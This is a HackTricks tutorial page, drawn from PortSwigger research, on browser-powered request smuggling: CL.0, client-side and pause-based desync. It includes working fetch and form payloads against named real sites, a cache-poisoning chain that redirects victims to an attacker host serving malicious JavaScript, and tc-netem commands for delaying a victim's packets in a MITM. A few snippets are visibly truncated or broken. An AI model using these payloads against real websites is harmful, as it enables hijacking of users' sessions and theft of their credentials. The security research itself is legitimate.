# Browser HTTP Request Smuggling
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
## CL.0/H2.0 browser-compatible desync This vulnerability occurs when the **Content Length** (CL) header is being completely **ignored** by the **backend server**. Then, the back-end treats the **body** as the **start of the second request's method**. Ignoring the CL is equivalent to treating it as having a value of 0, so this is a CL.0 desync - a [known](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) but lesser-explored attack class. ![](<../../.gitbook/assets/image (3) (1) (2).png>) The attack was possible because the back-end server simply **wasn't expecting a POST request**. {% hint style="warning" %} Note that this vulnerability is being **triggered** by a completely **valid**, specification-compliant **HTTP request**. This meant the **front-end has zero chance of protecting** against it, and it could even be triggered by a browser. {% endhint %} The only **difference** between **CL.0** and **H2.0** is that the second one is using **HTTP2** (which has an implicit content-length header) but the **backend isn't using that either**. ## Client-Side Desync Traditional desync attacks **poison** the **connection** between a **front-end and back-end** server, and are therefore impossible on websites that don't use a front-end/back-end architecture. These are **server-side desync** from now on. Most **server-side desyncs** can only be triggered by a **custom HTTP client issuing a malformed request.** The ability for a **browser to cause a desync** enables a whole new class of threat called **client-side desync** (CSD).\ A CSD attack starts with the **victim visiting the attacker's website**, which then makes their browser send **two cross-domain requests to the vulnerable website**. The **first** request is crafted to **desync the browser's connection** and make the **second request trigger** a harmful response, typically giving the attacker control of the victim's account. ### Detect A CSD vector is a HTTP request with **two** **key** properties. First, the **server must ignore the request's Content-Length (CL)**. This typically happens because the request either **triggered a server error**, or the server simply **wasn't expecting a POST request** to the chosen endpoint. Try targeting **static files** and **server-level redirects**, and triggering errors via **overlong-URLs**, and **semi-malformed** ones like /%2e%2e. Secondly, the request must be **triggerable in a web-browser cross-domain**. Browsers severely restrict control over cross-domain requests, so you have limited control over headers, and if your request has a body you'll need to use the HTTP POST method. Ultimately you only **control** the **URL**, plus a few odds and ends like the **Referer header**, the **body**, and **latter part of the Content-Type.** #### CL ignore testing The way to test this missconfig is to **send 2 requests and smuggle one** in the **middle**. If the **smuggled** connection **affected** the response of the **second** **request**, it means that it's **vulnerable**: ![](<../../.gitbook/assets/image (1) (2) (2) (1).png>) {% hint style="warning" %} Note that you **cannot** test this vuln by just sending a **Content-Length bigger** than the one sent and **looking for a timeout** because some servers **respond** even if they **didn't receive the whole body**. {% endhint %} It's important to note whether the **target website supports HTTP**/2. CSD attacks typically exploit HTTP/1.1 connection reuse and web **browsers prefer to use HTTP/2** whenever possible, so if the target **website supports HTTP/2 your attacks are unlikely to work**. There's one **exception**; some **forward proxies don't support HTTP/2** so you can exploit anyone using them. This includes corporate proxies, certain intrusive VPNs and even some security tools. ### Confirm First, select a site to launch the attack from. This site must be **accessed over HTTPS** and located on a **different domain than the target**. Next, ensure that you **don't have a proxy configured**, then browse to your attack site. Open the **developer tools** and switch to the **Network tab**. To help with debugging potential issues later, I recommend making the following adjustments: * Select the **"Preserve log"** checkbox. * Right-click on the column headers and **enable the "Connection ID" column**. Switch to the developer console and execute JavaScript to replicate your attack sequence using fetch(). This may look something like: ```javascript fetch('https://example.com/', { method: 'POST', body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix mode: 'no-cors', // ensure connection ID is visible credentials: 'include' // poison 'with-cookies' pool }).then(() => { location = 'https://example.com/' // use the poisoned connection }) ``` I've set the fetch mode **'no-cors'** to ensure Chrome **displays the connection ID** in the Network tab. I've also set **credentials: 'include'** as Chrome has [**two separate connection pools**](https://www.chromium.org/developers/design-documents/network-stack/preconnect) - one for requests with cookies and one for requests without. You'll usually want to exploit **navigations**, and those **use the 'with-cookies' pool**, so it's worth getting into the habit of always poisoning that pool. When you execute this, you should see **two requests** in the Network tab with the **same connection ID**, and the **second** one should trigger a **404**: ![](<../../.gitbook/assets/image (158) (2).png>) If this works as expected, congratulations - you've found yourself a client-side desync! ### Exploitation - Store One option is to identify functionality on the target site that lets you **store text data**, and craft the prefix so that your victim's cookies, authentication headers, or password end up being **stored somewhere you can retrieve them**. This attack flow works [almost identically to server-side request smuggling](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), so I won't dwell on it. ### Exploitation - **Chain\&pivot** Under normal circumstances, many classes of **server-side attack** can only be launched by an attacker with direct access to the target website as they **rely on HTTP requests that browsers refuse to send**, like **tampering** with **HTTP headers** - web cache poisoning, most server-side request smuggling, host-header attacks, User-Agent based [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type and numerous others. The simplest path to a successful attack came from two key techniques usually used for server-side desync attacks: [**JavaScript resource poisoning via Host-header redirects**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), and using the [**HEAD method**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) to splice together a response with harmful HTML. Both techniques needed to be **adapted** to overcome some novel challenges associated with operating in the **victim's browser**. ## Exploit Examples ### Stacked HEAD example * **Coloured exploit** ![](<../../.gitbook/assets/image (2) (3).png>) * **JS exploit** ```javascript fetch('https://www.capitalone.ca/assets', { method: 'POST', // use a cache-buster to delay the response body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x= HTTP/1.1\r\nX: Y`, credentials: 'include', mode: 'cors' // throw an error instead of following redirect }).catch(() => { location = 'https://www.capitalone.ca/' })va ``` Explanation: * **Abuse of CL.0** in /assets (it redirects to /assets/ and doesn't check the CL) * **Smuggle** a **HEAD** request (because HEAD responses still contains a content-length) * **Smuggle** a **GET** request whose **content** is going be **reflected** in the response with the payload. * Because of the **content-length of the HEAD** req, the **response** of this request will be the **body of the HEAD req** * Set **cors mode**. Normally this isn't done, but in this case the **response** of the server to de **initial** **POST** is a **redirect** that if **followed** the **exploit won't work**. Therefore, **cors mode** is used to **trigger** an **error** and **redirect** the victim with the **`catch`**. ### **Host header redirect + client-side cache poisoning** * **JS exploit** ```javascript fetch('https://redacted/', { method: 'POST', body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y", credentials: 'include'} ).catch(() => { location='https://redacted/+CSCOE+/win.js' }) ``` * A request to `/+webvpn+/` with a **different domain in the Host header** is answered with a **redirect** to `/+webvpn+/index.html` to that **domain** inside the Host header. * The location in the **second** request is set to `/+CSCOE+/win.js` in order to **poison** the **cache** of that `.js` file. * This request will be answered with the redirect of `/+webvpn+/` to the attackers domain with path`/+webvpn+/index.html` * The **cache** of **`win.js`** will be **poisoned** with a **redirect** to the **attackers** page, but also the **victim** will **follow** the redirect as it was assigned in the `location` variable and will end in the attackers web page. * The attacker will then **redirect** the **victim** to `https://redacted/+CSCOE+/logon.html`. This page will import `/+CSCOE+/win.js`. Whose **cache is a redirect** to the **attackers** server, therefore, the attacker can **respond with a malicious JS**. The **victim** will **access** the page of the **attacker** **twice**, the first one it **expects a HTML** that redirect the victim back to `https://redacted/+CSCOE+/logon.html` and the second one it **expects javascript code** (the payload). A polyglot can be used to serve both responses in just one: ``` HTTP/1.1 200 OK Content-Type: text/html alert('oh dear')/**/ ``` ### HEAD payload with chunked TE When looking for CSD you can also **test semi-malformed** URLs like `/..%2f` or `/%2f`. * **Coloured Exploit** ![](<../../.gitbook/assets/image (5) (2) (1).png>) * **JS Exploit** ```javascript fetch('https://www.verisign.com/%2f', { method: 'POST', body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`, credentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded' }}).catch(() => { let form = document.createElement('form') form.method = 'POST' form.action = 'https://www.verisign.com/robots.txt' form.enctype = 'text/plain' let input = document.createElement('input') input.name = '0\r\n\r\nGET / HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n' input.value = '' form.appendChild(input) document.body.appendChild(form) form.submit() } ``` * The page **`/%2f`** is accessed to **exploit** the **CL.0** vulnerability. * A **HEAD** request is smuggled using a **`Transfer-Encoding: chunked` header**. * This header is needed in this scenario because otherwise the **server refused to accept a HEAD request with a body**. * Then, the user sends a POST whose body contains the **end chunk of the the previous HEAD** request and a **new request that is smuggled** with **content** (the JS payload) that will be **reflected** in the response. * Therefore the browser will treat the **response to the HEAD** request as the **response to the POST request** which will also **contains** in the **body** response that **reflects** the **input** of the user in the second smuggled request. ### Host header redirect + RC * **JS Exploit** ```html Start attack ``` In this case, again, there is a **host header** **redirect** that could be used to **hijack** a **JS** import. However, this time the **redirect isn't cacheable**, so client-side **cache** **poisoning** isn't an option. Therefore, the attack performed will make the **victim access the vulnerable page** in a tab and then, just **before** the page tries to **load a JS** file, **poison** the socket **smuggling connections** (3 in this case).\ Because the **timing** has to be extremely **precise**, the attack is performed against a **new tab on each iteration** until it works. {% hint style="warning" %} Keep in mind that in this case `/meeting_testjs.cgi` was attacked because it **loads** a **Javascript** that is responding with a **404**, so it's not cached. In other scenarios where you try to attack a **JS that is cached** you need to wait for it to **disappear from the cache** before launching a new attack. {% endhint %} Summary steps: * Open a new window. * Issue a harmless request to the target to establish a fresh connection, making timings more consistent. * Navigate the window to the target page at /meeting\_testjs.cgi. * 120ms later, create three poisoned connections using the redirect gadget. * 5ms later, while rendering /meeting\_testjs.cgi the victim will hopefully attempt to import /appletRedirect.js and get redirected to x.psres.net, which serves up malicious JS. * If not, retry the attack. ## Pause-based desync Pausing can also create new desync vulnerabilities by **triggering misguided request-timeout implementations**. So, an attacker might send a request with **headers indicating that there is a body**, and then **wait** for the **front-end to timeout before sending the body**. If the front-end times out but **leaves the connection open**, the **body** of that request will be **treated as a new request**. ### Example: **Varnish** Varnish cache has a feature called `synth()`, which lets you issue a **response without forwarding** the request to the back-end. Here's an example rule being used to block access to a folder: ```javascript if (req.url ~ "^/admin") { return (synth(403, "Forbidden")); } ``` When processing a **partial request** that matches a synth rule, Varnish will **time out** if it receives no data for **15 seconds**. When this happens, it **leaves the connection open** for reuse even though it has only read half the request off the socket. This means that if the **client follows up with the second half** of the HTTP request, it will be interpreted as a **fresh request**. To trigger a pause-based desync on a vulnerable front-end, start by sending your headers, promising a body, and then just wait. Eventually you'll receive a response and when you finally send send your request body, it'll be interpreted as a new request: ![](<../../.gitbook/assets/image (4) (3) (1).png>) {% hint style="warning" %} Apparently this was patched on the 25th January as [CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html). {% endhint %} ### Example: **Apache** Just like Varnish, it's vulnerable on **endpoints where the server generates the response itself** rather than letting the application handle the request. One way this happens is with server-level redirects: `Redirect 301 / /en` ### Server-side Exploitation If the vulnerable server (Apache or Varnish in this case) is in the back-end, a **front-end** that **streams the request to the back-end** server (http headers in this case) **without buffering** the entire request body is needed. ![](<../../.gitbook/assets/image (3) (3).png>) In this case the attacker **won't receive the response timeout until he has send the body**. But if he knows the timeout this shouldn't be a problem. Amazon's Application Load Balancer (ALB) will **stream the data of the connection as needed**, but if it **receives** the **response** to the half request (the timeout) **before** receiving the **body**, it **won't send the body**, so a **Race Condition** must be exploited here:
There's an additional complication when it comes to **exploiting Apache behind ALB** - **both servers** have a default **timeout of 60 seconds**. This leaves an **extremely small time-window** to send the second part of the request. The RC attack was ultimately successful after 66 hours. ### MITM Exploitation It's apparently **not possible to stop a request from the browser** in order to exploit a Pause-desync vulnerability. However, you could always **perform a MITM attack to pause a request** sent by the browser. Notice that this attack **doesn't rely on decrypting** any traffic. The attack flow is very **similar to a regular client-side desync attack**. The user visits an attacker-controlled page, which issues a series of **cross-domain requests** to the target application. The **first HTTP** request is deliberately padded to be so **large** that the operating system **splits it into multiple TCP packets**, enabling an active **MITM to delay the final packet**, triggering a pause-based desync. Due to the padding, the **attacker** can **identify** which **packet to pause** simply based on the **size**. From the client-side it looks like a regular client-side desync using the HEAD gadget, aside from the request padding: ```javascript let form = document.createElement('form') form.method = 'POST' form.enctype = 'text/plain' form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now() let input = document.createElement('input') input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect? HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x" input.value = "x" form.append(input) document.body.appendChild(form) form.submit() ``` On the attacker system performing the blind MITM, the delay was implemented using tc-NetEm: ```bash # Setup tc qdisc add dev eth0 root handle 1: prio priomap # Flag packets to 34.255.5.242 that are between 700 and 1300 bytes tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \ match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \ and 'cmp(u16 at 2 layer network gt 0x02bc)' \ and 'cmp(u16 at 2 layer network lt 0x0514)' \ flowid 1:3 # Delay flagged packets by 61 seconds tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s ``` ## **References** * All the information of this post was taken from [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).